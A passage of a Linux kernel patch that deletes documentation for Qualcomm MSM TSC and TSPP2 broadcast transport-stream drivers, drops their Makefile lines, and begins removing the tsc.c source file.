a/Documentation/arm/msm/tsc.txt ++++ /dev/null +@@ -1,398 +0,0 @@ +-Introduction +-============ +- +-TSC Driver +- +-The TSC (Transport Stream Controller) is a hardware block used in products such +-as smart TVs, Set-top boxes and digital media adapters, and is responsible for +-two main functionalities: +- +-1. Mux function: enabling the routing of MPEG-2 transport streams (TS) received +-from terrestrial/cable/satelite in order to support the different topologies of +-the end product, as it may be deployed in many different topologies. +-In addition, the active topology may change according to various factors such as +-broadcast technology and/or conditional access system. +- +-2. CI function: acting as a common interface, complying with both PC Card and +-CI/+ specifications. +- +-The TSC driver has two different interfaces, one for each function. +- +-Hardware description +-==================== +-The TSC HW contains the TSC core, and uses the VBIF unit (IOMMU) which is part +-of the broadcast subsystem HW. +- +-Mux function: +-------------- +-The TSC can receive transport streams from: +-a. Two Transport Stream Interfaces (TSIFs) 0 or 1, connected to two external +-demods or to external bridge. +-b. One TSIF from an integrated demod. +- +-The TSC can route TS from any of the above TSIFs to an external CICAM, using a +-software configurable mux. +-The TSC can route TS from any of the above TSIFs, and TS received from the CI +-Conditional Access Mudule (CICAM) to two TSIF outputs (0 or 1), using two +-software configurable muexes. +-The CICAM input and outputs are also managed via two additional TSIFs: TSIF-out +-to the CAM, and TSIF-in from the CAM. +- +-CI function: +------------- +-The common interface is composed of: +-1. Card detection logic: the TSC notifies the SW of any change in the card +-detection status (via HW interrupt). +- +-2. Control interface used to send/receive the CI messages (APDUs), supporting +-data transmission in two formats: +-a. Single byte transactions: to/from the attribute memory space of the CAM and +- the command area of the CAM. +-b. Buffer transactions: to/from the command area of the CAM, using a +- configurable buffer size of 1k bytes-64k bytes. This enables transferring +- large chunks of data between the CAM and applications. +- The data buffer resides in the external memory and the interface to the +- memory is done through BCSS VBIF. +-The TSC uses PCMCIA interface to interact with the CAM. +- +-The following diagram provides an overview of the TSC HW: +-+-------------------------------------------------------------------------+ +-| | +-| +------------------------------+ | +-| +-----------+ | TSC Core --. | | +-| |Ext. TSIF 0+------------+------------>| \ | +-----------+ | +-| +-----------+ | +-----|------------>|Mux)----->TSPP TSIF 0| | +-| +-----------+ | | +--|------------>| / | +-----------+ | +-| |Ext. TSIF 1+------| | | +->--' | | +-| +-----------+ | | | | | --. | | +-| | | | +----------|->| \ | +-----------+ | +-| +-----------+ | +--|--|-+--------|->|Mux)----->TSPP TSIF 1| | +-| |Int. TSIF +---------+--|-|-+------|->| / | +-----------+ | +-| +-----------+ | | | | +->--' | | +-| | | | | | | | +-| | | | | | | | +-| |+------+(v-v-v--) | +-----+| | +-| ||Card | \ Mux / | |CI/+ +---Data-Interface--+ | +-| ||detect| `---' | +----++| | | +-| |+-^-^--+ | | | | | | +-| +--|-|-------|-------|-------|-+ +------+----+ | +-| | | | | | | VBIF | | +-| | | +-----v--+ +--+----+ | | | | +-| | | |TSIF-Out| |TSIF-In| | +-----------+ | +-| | | +-----+--+ +--^----+ | | +-| | | | | | | +-| ++-+-------v-------+-------++ | +-| | CICAM | | +-| | | | +-| +---------------------------+ | +-+-------------------------------------------------------------------------+ +- +-Software description +-==================== +-The TSC Linux kernel driver manages the TSC core. It is a standard Linux +-platform device driver. It can be configured as a loadable or built-in kernel +-module. The driver is supported only in platforms that contain the TSC HW. +- +-The TSC driver uses ION driver to control the IOMMU and map user-allocated +-buffers to the TSC IOMMU domain. +- +-The driver provides an abstraction of the TSC HW functionality for user-space +-clients via two separate interfaces: tsc_mux and tsc_ci. These interfaces may +-be used by upper layers to utilize the TSC HW for routing the TS and supporting +-the Common Interface specification. +- +-Driver initialization +---------------------- +-The driver's probe function is invoked if there is a matching device tree node. +-The probe function gets the required memory resources (i.e., register address +-spaces) and maps them to kernel space for the driver's use. +-The probe function also requests the required IRQs, GPIOs and clocks, and gets +-the TSC IOMMU domain. The probe function also disables the TSIFs input. +-Finally, the function creates two character device drivers: "tsc_mux","tsc_ci". +- +-See API description in interface section. +- +-Data paths +------------ +-The TSC does not process the TS data received from the TSIFs. It just manages +-the routing of that data. +- +-Control paths - Mux function +----------------------------- +-Example for routing the TS from external demod TSIF 0 to the CAM, and from the +-CAM to TSIF 1 of the TSPP: +- +-struct tsc_route tsif_cam = {TSC_SOURCE_EXTERNAL0, TSC_DEST_CICAM}; +-struct tsc_route cam_tspp = {TSC_SOURCE_CICAM, TSC_DEST_TSPP1}; +-int mux_fd, ret; +-enum tsc_source tsif0 = TSC_SOURCE_EXTERNAL0; +-enum tsc_source cam = TSC_SOURCE_CICAM; +- +-/* opening Mux char device */ +-mux_fd = open("/dev/tsc_mux0"); +- +-/* Configure the CAM mux to route TS from external demod TSIF 0: */ +-ret = ioctl(mux_fd, TSC_CONFIG_ROUTE, &tsif_cam); +- +-/* Configure the TSPP TSIF 1 mux to route TS from CAM: */ +-ret = ioctl(mux_fd, TSC_CONFIG_ROUTE, &cam_tspp); +- +-/* Enabling the external demod TSIF 0, and the CAM TSIF-in and TSIF-out */ +-ret = ioctl(mux_fd, TSC_ENABLE_INPUT, &tsif0); +-ret = ioctl(mux_fd, TSC_ENABLE_INPUT, &cam); +- +-close(mux_fd); +- +-Control paths - CI function +---------------------------- +-Example for writing a buffer to the CAM command area: +- +-Assumptions: +-1. The user allocated a buffer using ION driver and wrote to that buffer. +-Also, retrieved the ion fd of that buffer and saved it to: +-int buffer_fd; +-2. The user already performed buffer size negotiation with the CAM according to +-CI/+ specification, and had set the CAM size register with the buffer size. This +-size is saved to: int size; +-3. The user decided about the time the user wants to wait for the data +-transmission. +-struct tsc_buffer_mode buff_params = {buffer_fd, size, timeout}; +-int ret; +- +-/* Perform a blocking write buffer transaction for at most timeout */ +-ret = ioctl(fd, TSC_WRITE_CAM_BUFFER, &buff_params); +-/* ret indicate whether the transaction succeeded */ +- +-Example for SW reset to the CAM (according to CI/+ specification): +-struct single_byte_mode cmd_params = {1, RS bit set, timeout}; +-struct single_byte_mode stat_params = {1, not initialize, timeout}; +-int ci_fd, ret; +-u8 data; +- +-/* opening CI char device */ +-ci_fd = open("/dev/tsc_ci0"); +- +-/* Setting the RS bit of the CAM command register */ +-ret = ioctl(ci_fd, TSC_WRITE_CAM_IO, &cmd_params); +- +-/* Polling the FR bit of the CAM status register */ +-ret = ioctl(ci_fd, TSC_READ_CAM_IO, &stat_params); +-data = stat_params.data; +-while (data & FR_BIT_MASK) { +- ret = ioctl(ci_fd, TSC_READ_CAM_IO, &stat_params); +- data = stat_params.data; +-} +- +-close(ci_fd); +- +-Design +-====== +-The TSC driver is a regular Linux platform driver designed to support the +-TSC HW available on specific SoCs. +- +-The driver provides two user-space APIs: tsc_mux that allows the client full +-control over the configuration of the TS routing, and tsc_ci that enables the +-client to implement the Common Interface in front of the CAM. It does so while +-encapsulating HW implementation details that are not relevant to the clients. +- +-The driver enforces HW restrictions and checks for input parameters +-validity, providing a success or failure return value for each API function: +-0 upon success or negative value on failure. Errno parameter is set to indicate +-the failure reason. +-However, the driver does not enforce any high-level policy with regard to the +-correct use of the TSC HW for various use-cases. +- +-Power Management +-================ +-The TSC driver prevents the CPU from sleeping while the HW is active by using +-wakeup_source API. When there are no open devices the driver releases the wakeup +-source. In a similar manner, the driver enables the HW clocks only when needed. +- +-SMP/multi-core +-============== +-The driver uses a spinlock to protect accesses to its internal databases, +-for synchronization between user control API and kernel interrupt handlers. +- +-The driver uses a mutex for all the Mux operations to synchronize access to the +-routing internal databases. The driver uses another mutex for all the CI +-operations to synchronize data sent and received to and from the CAM. +- +-Security +-======== +-Although the TSC is the bridge the external conditional access module, it has no +-security aspects. Any protection which is needed is performed by the upper +-layers. For example, the messages which are written to the CAM are encrypted. +-Thus the TSC accesses only non-protected, HLOS accessible memory regions. +- +-Performance +-=========== +-Control operations are not considered as performance critical. +-Most of the control operations are assumed to be fairly uncommon. +- +-Interface +-========= +-Kernel-space API +----------------- +-The TSC driver does not provide any kernel-space API, only a user-space API. +- +-User-space API +----------------- +-Open: upper layer can open tsc_mux device and/or tsc_ci device. +-Release: close the device and release all the allocated resources. +-Poll: two different functions- one for Mux, one for CI. The Mux poll wait for +-rate mismatch interrupt. The CI poll waits for card detection HW interrupt. +-The rate mismatch interrupt is not cleared in the interrupt handler because it +-will signal again all the time. Therefore it is cleared via a specific ioctl +-that upper layer can use after the problem is solved. Additionally, the +-interrupt is cleared when the card is removed. +-ioctl: two functions, one for mux and one for ci. The ioctl are specified below. +- +-TSC Mux - routing the TS: +-------------------------- +-enum tsc_source { +- TSC_SOURCE_EXTERNAL0, +- TSC_SOURCE_EXTERNAL1, +- TSC_SOURCE_INTERNAL, +- TSC_SOURCE_CICAM +-}; +-enum tsc_dest { +- TSC_DEST_TSPP0, +- TSC_DEST_TSPP1, +- TSC_DSET_CICAM +-}; +- +-struct tsc_route { +- enum tsc_source source; +- enum tsc_dest dest; +-}; +- +-#define TSC_CONFIG_ROUTE _IOW(TSC_IOCTL_BASE, 0, struct tsc_tspp_route) +-#define TSC_ENABLE_INPUT _IOW(TSC_IOCTL_BASE, 1, enum tsc_source) +-#define TSC_DISABLE_INPUT _IOW(TSC_IOCTL_BASE, 2, enum tsc_source) +- +-These 3 IOCTLs control the 3 muxes that route the TS, and enable/disable the +-TSIFs input. +- +-TSC Mux - configuring the TSIFs: +--------------------------------- +-enum tsc_data_type { +- TSC_DATA_TYPE_SERIAL, +- TSC_DATA_TYPE_PARALLEL +-}; +-enum tsc_receive_mode { +- TSC_RECEIVE_MODE_START_VALID, +- TSC_RECEIVE_MODE_START_ONLY, +- TSC_RECEIVE_MODE_VALID_ONLY +-}; +- +-struct tsc_tsif_params { +- enum tsc_source source; +- enum tsc_receive_mode receive_mode; +- enum tsc_data_type data_type; +- int clock_polarity; +- int data_polarity; +- int start_polarity; +- int valid_polarity; +- int error_polarity; +- int data_swap; +- int set_error; +-}; +- +-#define TSC_SET_TSIF_CONFIG _IOW(TSC_IOCTL_BASE, 3, struct tsc_tsif_params) +- +-This IOCTL enables configuring a specific TSIF with all possible configurations. +- +-TSC Mux - clearing rate mismatch interrupt +------------------------------------------- +- +-#define TSC_CLEAR_RATE_MISMATCH_IRQ _IO(TSC_IOCTL_BASE, 4) +- +-This IOCTL is used for clearing the interrupt, which is not done automatically +-by the driver. +- +-TSC CI - CAM configuration: +---------------------------- +-enum tsc_cam_personality { +- TSC_CICAM_PERSONALITY_CI, +- TSC_CICAM_PERSONALITY_CIPLUS, +- TSC_CICAM_PERSONALITY_PCCARD, +- TSC_CICAM_PERSONALITY_DISABLE +-}; +-enum tsc_card_status { +- TSC_CARD_STATUS_NOT_DETECTED, +- TSC_CARD_STATUS_DETECTED, +- TSC_CARD_STATUS_FAILURE +-}; +- +-#define TSC_CICAM_SET_CLOCK _IOW(TSC_IOCTL_BASE, 5, int) +-This IOCTL sets the clock rate of the TS from the TSC to the CAM +- +-#define TSC_CAM_RESET _IO(TSC_IOCTL_BASE, 6) +-This IOCTL performs HW reset to the CAM +- +-#define TSC_CICAM_PERSONALITY_CHANGE \ +- _IOW(TSC_IOCTL_BASE, 7, enum tsc_cam_personality) +-This IOCTL configures the PCMCIA pins according to the specified card type. +- +-#define TSC_GET_CARD_STATUS _IOR(TSC_IOCTL_BASE, 8, enum tsc_card_status) +-This IOCTL queries the card detection pins and returns their status. +- +-TSC CI - Data transactions: +---------------------------- +-struct tsc_single_byte_mode { +- u16 address; +- u8 data; +- int timeout; /* in msec */ +-}; +-struct tsc_buffer_mode { +- int buffer_fd; +- u16 buffer_size; +- int timeout; /* in msec */ +-}; +- +-#define TSC_READ_CAM_MEMORY \ +- _IOWR(TSC_IOCTL_BASE, 9, struct tsc_single_byte_mode) +-#define TSC_WRITE_CAM_MEMORY \ +- _IOW(TSC_IOCTL_BASE, 10, struct tsc_single_byte_mode) +-#define TSC_READ_CAM_IO \ +- _IOWR(TSC_IOCTL_BASE, 11, struct tsc_single_byte_mode) +-#define TSC_WRITE_CAM_IO \ +- _IOW(TSC_IOCTL_BASE, 12, struct tsc_single_byte_mode) +-#define TSC_READ_CAM_BUFFER \ +- _IOWR(TSC_IOCTL_BASE, 13, struct tsc_buffer_mode) +-#define TSC_WRITE_CAM_BUFFER \ +- _IOW(TSC_IOCTL_BASE, 14, struct tsc_buffer_mode) +- +-These IOCTLs performs a read/write data transaction of the requested type. +- +-Driver parameters +-================= +-The TSC module receives one parameter: +-tsc_iommu_bypass - 0 for using the VBIF, 1 for not using it. Not using the VBIF +-is a debug configuration. +- +-Config options +-============== +-To enable the driver, set CONFIG_TSC to y (built-in) or m (kernel module) +-in the kernel configuration menu. +- +-Dependencies +-============ +-The TSC driver uses the ION driver for IOMMU registration and buffer +-mapping to BCSS VBIF. +- +-User space utilities +-==================== +-None. +- +-Other +-===== +-None. +- +-Known issues +-============ +-None. +- +-To do +-===== +-None. +diff --git a/Documentation/arm/msm/tspp2.txt b/Documentation/arm/msm/tspp2.txt +deleted file mode 100644 +index 006c688..0000000 +--- a/Documentation/arm/msm/tspp2.txt ++++ /dev/null +@@ -1,497 +0,0 @@ +-Introduction +-============ +- +-TSPP2 Driver +- +-The TSPP2 (Transport Stream Packet Processor v2) is a hardware accelerator +-designed to process MPEG-2 Transport Stream (TS) data. It can be used to +-process broadcast TV services. The TSPP2 HW processes the TS packets, offloads +-the host CPU and supports the real-time processing requirements of such +-services. +- +-TS data can be received either from TSIF (Transport Stream Interface) input +-or from memory input, to support playing live broadcasts as well as +-playback from memory. Recording is also supported. +- +-TSPP2 is a significantly different HW unit than the TSPP unit described in +-Documentation/arm/msm/tspp.txt. The functionality is enhanced and the HW +-design is different. +- +-Hardware description +-==================== +-The TSPP2 HW contains the TSPP2 core, a BAM (Bus Access Manager, used for DMA +-operations) unit, and a VBIF unit (IOMMU). +- +-The TSPP2 HW supports: +-a. Up to two TSIF inputs and up to eight memory inputs. +-b. Various TS packet sizes (188/192 bytes) and formats (timestamp location). +-c. PID filtering. +-d. Raw transmit operation for section filtering or recording. +-e. Full PES and separated PES transmit operation for audio and video playback. +-f. Decryption and re-encryption operations for secure transport streams. +-g. PCR extraction. +-h. Indexing - identifying patterns in video streams. +- +-The following diagram provides an overview of the TSPP2 HW: +-+------------------------------------------------------------------+ +-| | +-| +-------------+ +--------------------+ | +-| | TSIF 0 +---> TSPP2 Core | | +-| +-------------+ | | | +-| | +---------------+ | | +-| +-------------+ | | | | | +-| | TSIF 1 +---> | Source 0 | | | +-| +-------------+ | | | | | +-| | | | | | +-| | | | | | +-| | | +------------+| | +--------------+ | +-| | | | Filter 0 +|---------> BAM pipe 3 | | +-| | | +------------+| | +--------------+ | +-| | | +------------+| | +--------------+ | +-| +-------------+ | | | Filter 1 +|---------> BAM pipe 4 | | +-| | BAM pipe 0 +---> | +------------+| | +--------------+ | +-| +-------------+ | | | | | | +-| +-------------+ | +---------------+ | +--------------+ | +-| | BAM pipe 1 +--->--------------------|----| | | +-| +-------------+ | | | VBIF | | +-| +-------------+ | | | IOMMU | | +-| | BAM pipe 2 +--->--------------------|----| | | +-| +-------------+ +--------------------+ +--------------+ | +-+------------------------------------------------------------------+ +- +-A source is configured to have either a TSIF input (TSIF 0 or 1) or a +-memory input (a BAM pipe). One or more filters are attached to the source. +-Each filter has a 13-bit PID and mask values to perform the PID filtering. +-Additionally, one or more operations are added to each filter to achieve the +-required functionality. Each operation has specific parameters. The operation's +-output is usually placed in an output pipe. +- +-The TSPP HW uses its own virtual address space, mapping memory buffer addresses +-using the VBIF IOMMU. +- +-Software description +-==================== +-The TSPP2 Linux kernel driver manages the TSPP2 core. The TSPP2 driver utilizes +-the SPS driver to configure and manage the BAM unit, which is used to perform +-DMA operations and move TS data to/from system memory. +- +-The TSPP2 driver uses the ION driver to control the IOMMU and map user-allocated +-buffers to the TSPP2 IOMMU domain. +- +-The TSPP2 is a standard Linux platform device driver. It can be configured as a +-loadable or built-in kernel module. The driver is supported only in platforms +-that contain the TSPP2 HW. +- +-The driver provides an abstraction of the TSPP2 HW functionality for +-kernel-space clients. For example, the dvb/demux kernel driver, which provides +-an API for upper layers to perform TS de-multiplexing (including PID filtering, +-recording, indexing etc.), uses the TSPP2 driver to utilize the TSPP2 HW and +-offload the CPU, instead of doing all the required processing in SW. +- +-For further information please refer to Documentation/dvb/qcom-mpq.txt. +- +-Terminology +------------ +-This section describes some of the software "objects" implemented by the driver. +- +-a. TSPP2 device: an instance of the TSPP2 device representing the TSPP2 HW and +-its capabilities. The client identifies a device instance according to a +-device ID. +- +-b. Indexing table: A TSPP2 device contains 4 indexing tables. These tables are +-used to identify patterns in the video stream and report on them. +-The client identifies an indexing table according to a table ID. +- +-c. Pipe: a BAM pipe used for DMA operations. The TSPP2 HW has a BAM unit with +-31 pipes. A pipe contains a memory buffer and a corresponding descriptor ring, +-and is used as the output for TSPP2 data (e.g. PES payload, PES headers, +-indexing information etc.). For memory inputs, a pipe is used as the input +-buffer where data can be written to for TSPP2 processing. BAM Pipes are +-managed by the TSPP2 driver using the SPS driver which controls BAM HW. The +-client is responsible for buffer memory allocation, and can control many +-BAM-related pipe parameters. +- +-d. Source: a source object represents data "stream" from the TS input, +-through the filters and operations that perform the processing on the TS data, +-until the output. A source has the following properties: +- - Either a TSIF or a memory input. +- - For memory input: an input pipe. +- - Source-related configuration (e.g., packet size and format). +- - One or more PID filters. Each filter contains operations. +- - One or more output pipes. +-The client is responsible to configure the source object as needed using the +-appropriate API. The client identifies a source using a source handle, which +-the driver provides when opening a source for use. +- +-e. Filter: a filter object represents a PID filter which is used to get only the +-TS packets with specific PIDs and filter out all other TS packets in the stream. +-The client adds filters to the source object to define the processing of data. +-Each filter has a 13-bit PID value and bit-mask, so a filter can be used to +-get TS packets with various PID values. Note, however, that it is highly +-recommended to use each filter with a unique PID (i.e., 0x1FFF mask), and it is +-mandatory that the PIDs handled by each source's filters are mutually exclusive +-(i.e., the client must not configure two filters in the same source that handle +-the same PID values). A filter has up to 16 operations that instruct the TSPP2 +-HW how to process the data. The client identifies a filter using a filter +-handle, which the driver provides when opening a filter for use. +- +-f. Operation: an operation object represents a basic building block describing +-how data is processed. Operations are added to a filter and are performed on +-the data received by this filter, in the order they were added. One or more +-operations may be required to achieve the desired functionality. For example, +-a "section filtering" functionality requires a raw transmit operation, while a +-"recording" functionality requires a raw transmit operations as well as an +-indexing operation (to support trick modes). +- +-Driver initialization +---------------------- +-The driver's probe function is invoked if there is a matching device tree node +-(or platform device). The probe function gets the required memory resources +-(i.e., register address spaces) and maps them to kernel space for the +-driver's use. The probe function also request the required IRQs and gets the +-TSPP2 IOMMU domain. Finally, the probe function resets all HW registers to +-appropriate default values, and resets all the required software structures. +- +-See API description in Interface section. +- +-Usage examples +--------------- +- +-Section filtering example - opening a Raw filter with data from TSIF0: +----------------------------------------------------------------------- +-u32 dev_id = 0; +-u32 src_handle; +-u32 pipe_handle; +-u32 filter_handle; +-u32 iova; +-u32 vaddress; +-struct tspp2_config cfg = {...}; +-struct tspp2_pipe_config_params pipe_config; +-struct tspp2_pipe_pull_mode_params pull_params = {0, 0}; +-struct tspp2_operation raw_op; +-struct sps_event_notify event; +-struct sps_iovec desc; +- +-/* Open TSPP2 device for use */ +-tspp2_device_open(dev_id); +- +-/* Set global configuration */ +-tspp2_config_set(dev_id, &cfg); +- +-/* Open source with TSIF0 input */ +-tspp2_src_open(dev_id, TSPP2_INPUT_TSIF0, &src_handle); +- +-/* Set parsing options if needed, for example: */ +-tspp2_src_parsing_option_set(src_handle, +- TSPP2_SRC_PARSING_OPT_CHECK_CONTINUITY, 1); +- +-/* Assume normal sync byte, assume no need for scrambling configuration */ +- +-/* Set packet size and format: */ +-tspp2_src_packet_format_set(src_handle, TSPP2_PACKET_FORMAT_188_RAW); +- +-/* Since this is TSIF input, flow control is in push mode */ +- +-/* Allocate memory for output pipe via ION – not shown here */ +- +-/* Open an output pipe for use */ +-pipe_config.ion_client = ... +-pipe_config.buffer_handle = ... +-pipe_config.buffer_size = ... +-pipe_config.pipe_mode = TSPP2_SRC_PIPE_OUTPUT; +-pipe_config.sps_cfg.descriptor_size = 188; +-pipe_config.sps_cfg.setting = (SPS_O_AUTO_ENABLE | SPS_O_HYBRID | +- SPS_O_OUT_OF_DESC | SPS_O_ACK_TRANSFERS); +-pipe_config.sps_cfg.wakeup_events = SPS_O_OUT_OF_DESC; +-pipe_config.sps_cfg.callback = ... +-pipe_config.sps_cfg.user_info = ... +-tspp2_pipe_open(dev_id, &pipe_config, &iova, &pipe_handle); +- +-/* Attache the pipe to the source */ +-tspp2_src_pipe_attach(src_handle, pipe_handle, &pull_params); +-/* Open a filter for PID 13 */ +-tspp2_filter_open(src_handle, 13, 0x1FFF, &filter_handle); +- +-/* Add a raw transmit operation */ +-raw_op.type = TSPP2_OP_RAW_TRANSMIT; +-raw_op.params.raw_transmit.input = TSPP2_OP_BUFFER_A; +-raw_op.params.raw_transmit.timestamp_mode = TSPP2_OP_TIMESTAMP_NONE; +-raw_op.params.raw_transmit.skip_ts_packets_with_errors = 0; +-raw_op.params.raw_transmit.output_pipe_handle = pipe_handle; +-tspp2_filter_operations_add(filter_handle, &raw_op, 1); +- +-/* Enable filter and source to start getting data */ +-tspp2_filter_enable(filter_handle); +-tspp2_source_enable(src_handle); +- +-/* +- * Data path: poll pipe (or get notifications from pipe via +- * registered callback). +- */ +-tspp2_pipe_last_address_used_get(pipe_handle, &vaddress); +- +-/* Process data... */ +- +-/* Get and release descriptors: */ +-tspp2_pipe_descriptor_get(pipe_handle, &desc); +-tspp2_pipe_descriptor_put(pipe_handle, desc.addr, desc.size, ...); +- +-/* Teardown: */ +-tspp2_src_disable(src_handle); +-tspp2_filter_disable(filter_handle); +-tspp2_filter_close(filter_handle); +-tspp2_src_pipe_detach(src_handle, pipe_handle); +-tspp2_pipe_close(pipe_handle); +-tspp2_src_close(src_handle); +-tspp2_device_close(dev_id); +- +-Debug facilities +----------------- +-The TSPP2 driver supports several debug facilities via debugfs: +-a. Ability to read the status of TSIF and TSPP2 HW registers via debugfs. +-b. Ability to print HW statistics, error and performance counters via debugfs. +-c. Ability to print SW status via debugfs. +- +-Design +-====== +-The TSPP2 driver is a regular Linux platform driver designed to support the +-TSPP2 HW available on specific Qualcomm SoCs. +- +-The driver provides an extensive kernel-space API to allow the client full +-control over the configuration of the TSPP2 HW, while encapsulating HW +-implementation details that are not relevant to the client. +- +-The driver enforces HW restrictions and checks for input parameters +-validity, providing a success or failure return value for each API function. +-However, the driver does not enforce any high-level policy with regard to the +-correct use of the TSPP2 HW for various use-cases. +- +-Power Management +-================ +-The TSPP2 driver prevents the CPU from sleeping while the HW is active by +-using the wakeup_source API. When the HW is not active (i.e., no sources +-configured), the driver indicates it is ready for system suspend by invoking +-__pm_relax(). When the HW needs to be active (i.e., a source has been opened and +-enabled), the driver invokes __pm_stay_awake(). +- +-In a similar manner, the driver enables the HW clocks only when needed. +-The TSPP2 HW manages power saving automatically when the HW is not used. +-No SW involvement is required. +- +-SMP/multi-core +-============== +-The driver uses a mutex for mutual exclusion between kernel API calls. +-A spinlock is used to protect accesses to its internal databases which can be +-performed both from interrupt handler context and from API context. +- +-Security +-======== +-None. +- +-Performance +-=========== +-Control operations are not considered as performance critical. +-Most of the control operations are assumed to be fairly uncommon. +-Data-path operations involve only getting descriptors from the pipe and +-releasing them back to the pipe for reuse. +- +-Interface +-========= +-Kernel-space API +----------------- +- +-Control path API +-------------------- +- +-TSPP2 device open / close API: +------------------------------- +-int tspp2_device_open(u32 dev_id); +- +-int tspp2_device_close(u32 dev_id); +- +-Global configuration for the TSPP2 device: +------------------------------------------- +-int tspp2_config_set(u32 dev_id, const struct tspp2_config *cfg); +- Set device global configuration. +- +-int tspp2_config_get(u32 dev_id, struct tspp2_config *cfg); +- Get current device global configuration. +- +-Configure Indexing Tables: +--------------------------- +-int tspp2_indexing_prefix_set(u32 dev_id, u8 table_id, u32 value, u32 mask); +- Set prefix value and mask of an indexing table. +- +-int tspp2_indexing_patterns_add(u32 dev_id, u8 table_id, const u32 *values, +- const u32 *masks, u8 patterns_num); +- Add patterns to an indexing table. +- +-int tspp2_indexing_patterns_clear(u32 dev_id, u8 table_id); +- Clear all patterns of an indexing table +- +-Opening and closing Pipes: +--------------------------- +-int tspp2_pipe_open(u32 dev_id, const struct tspp2_pipe_config_params *cfg, +- u32 *iova, u32 *pipe_handle); +- Open a pipe for use. +- +-int tspp2_pipe_close(u32 pipe_handle); +- Close an opened pipe. +- +-Source configuration: +---------------------- +-int tspp2_src_open(u32 dev_id, enum tspp2_src_input input, u32 *src_handle); +- Open a new source for use. +- +-int tspp2_src_close(u32 src_handle); +- Close an opened source. +- +-int tspp2_src_parsing_option_set(u32 src_handle, +- enum tspp2_src_parsing_option option, int value); +- Set source parsing configuration option. +- +-int tspp2_src_parsing_option_get(u32 src_handle, +- enum tspp2_src_parsing_option option, int *value); +- Get source parsing configuration option. +- +-int tspp2_src_sync_byte_config_set(u32 src_handle, int check_sync_byte, +- u8 sync_byte_value); +- Set source sync byte configuration. +- +-int tspp2_src_sync_byte_config_get(u32 src_handle, int *check_sync_byte, +- u8 *sync_byte_value); +- Get source sync byte configuration. +- +-int tspp2_src_scrambling_config_set(u32 src_handle, +- const struct tspp2_src_scrambling_config *cfg); +- Set source scrambling configuration. +- +-int tspp2_src_scrambling_config_get(u32 src_handle, +- struct tspp2_src_scrambling_config *cfg); +- Get source scrambling configuration. +- +-int tspp2_src_packet_format_set(u32 src_handle, +- enum tspp2_packet_format format); +- Set source packet size and format. +- +-int tspp2_src_pipe_attach(u32 src_handle, u32 pipe_handle, +- const struct tspp2_pipe_pull_mode_params *cfg); +- Attach a pipe to a source. +- +-int tspp2_src_pipe_detach(u32 src_handle, u32 pipe_handle); +- Detach a pipe from a source. +- +-int tspp2_src_enable(u32 src_handle); +- Enable source (start using it). +- +-int tspp2_src_disable(u32 src_handle); +- Disable source (stop using it). +- +-int tspp2_src_filters_clear(u32 src_handle); +- Clear all filters from a source. +- +-Filter and Operation configuration: +------------------------------------ +-int tspp2_filter_open(u32 src_handle, u16 pid, u16 mask, u32 *filter_handle); +- Open a new filter and add it to a source. +- +-int tspp2_filter_close(u32 filter_handle); +- Close a filter. +- +-int tspp2_filter_enable(u32 filter_handle); +- Enable a filter. +- +-int tspp2_filter_disable(u32 filter_handle); +- Disable a filter. +- +-int tspp2_filter_operations_set(u32 filter_handle, +- const struct tspp2_operation *ops, u8 operations_num); +- Set (add or update) operations to a filter. +- +-int tspp2_filter_operations_clear(u32 filter_handle); +- Clear all operations from a filter. +- +-int tspp2_filter_current_scrambling_bits_get(u32 filter_handle, +- u8 *scrambling_bits_value); +- Get the current scrambling bits. +- +-Events notifications registration: +----------------------------------- +-int tspp2_global_event_notification_register(u32 dev_id, +- u32 global_event_bitmask, +- void (*callback)(void *cookie), +- void *cookie); +- Get notified on a global event. +- +-int tspp2_src_event_notification_register(u32 src_handle, +- u32 src_event_bitmask, +- void (*callback)(void *cookie), +- void *cookie); +- Get notified on a source event. +- +-int tspp2_filter_event_notification_register(u32 filter_handle, +- u32 filter_event_bitmask, +- void (*callback)(void *cookie), +- void *cookie); +- Get notified on a filter event. +- +-Data path API +----------------- +-int tspp2_pipe_descriptor_get(u32 pipe_handle, struct sps_iovec *desc); +- Get a data descriptor from a pipe. +- +-int tspp2_pipe_descriptor_put(u32 pipe_handle, u32 addr, +- u32 size, u32 flags); +- Put (release) a descriptor for reuse by the pipe. +- +-int tspp2_pipe_last_address_used_get(u32 pipe_handle, u32 *address); +- Get the last address the TSPP2 used. +- +-int tspp2_data_write(u32 src_handle, u32 offset, u32 size); +- Write (feed) data to a source. +- +-User-space API +--------------- +-The TSPP2 driver does not provide any user-space API, only a kernel-space API. +-The dvb/demux driver, which utilizes the TSPP2 driver (and HW), provides an +-extensive user-space API, allowing upper layers to achieve complex demuxing +-functionality. +- +-For further information please refer to Documentation/dvb/qcom-mpq.txt. +- +-Driver parameters +-================= +-The TSPP2 driver supports the following module parameter: +-tspp2_iommu_bypass: Bypass VBIF/IOMMU and use physical buffer addresses +-instead. This is mostly useful for debug purposes if something is wrong with +-the IOMMU configuration. Default is false. +- +-Platform-dependent parameters (e.g., IRQ numbers) are provided to the driver +-via the device tree mechanism or the platform device data mechanism. +- +-Config options +-============== +-To enable the driver, set CONFIG_TSPP2 to y (built-in) or m (kernel module) +-in the kernel configuration menu. +- +-Dependencies +-============ +-a. The TSPP2 driver uses the SPS driver to control the BAM unit. +-b. The TSPP2 driver uses the ION driver for IOMMU registration and buffer +-mapping. The client is responsible to allocate memory buffers via ION. +- +-User space utilities +-==================== +-None. +- +-Other +-===== +-None. +- +-Known issues +-============ +-None. +- +-To do +-===== +-None. +diff --git a/drivers/media/platform/msm/broadcast/Makefile b/drivers/media/platform/msm/broadcast/Makefile +index 1233d6d..5e72b0d 100644 +--- a/drivers/media/platform/msm/broadcast/Makefile ++++ b/drivers/media/platform/msm/broadcast/Makefile +@@ -3,9 +3,7 @@ + # + + obj-$(CONFIG_TSPP) += tspp.o +-obj-$(CONFIG_TSPP2) += tspp2.o + obj-$(CONFIG_CI_BRIDGE_SPI) += ci-bridge-spi.o +-obj-$(CONFIG_TSC) += tsc.o + obj-$(CONFIG_ENSIGMA_UCCP_330) += ensigma_uccp330.o + obj-$(CONFIG_DEMOD_WRAPPER) += demod_wrapper.o + +diff --git a/drivers/media/platform/msm/broadcast/tsc.c b/drivers/media/platform/msm/broadcast/tsc.c +deleted file mode 100644 +index ec3142e..0000000 +--- a/drivers/media/platform/msm/broadcast/tsc.c ++++ /dev/null +@@ -1,3450 +0,0 @@ +-/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 and +- * only version 2 as published by the Free Software Foundation. +- * 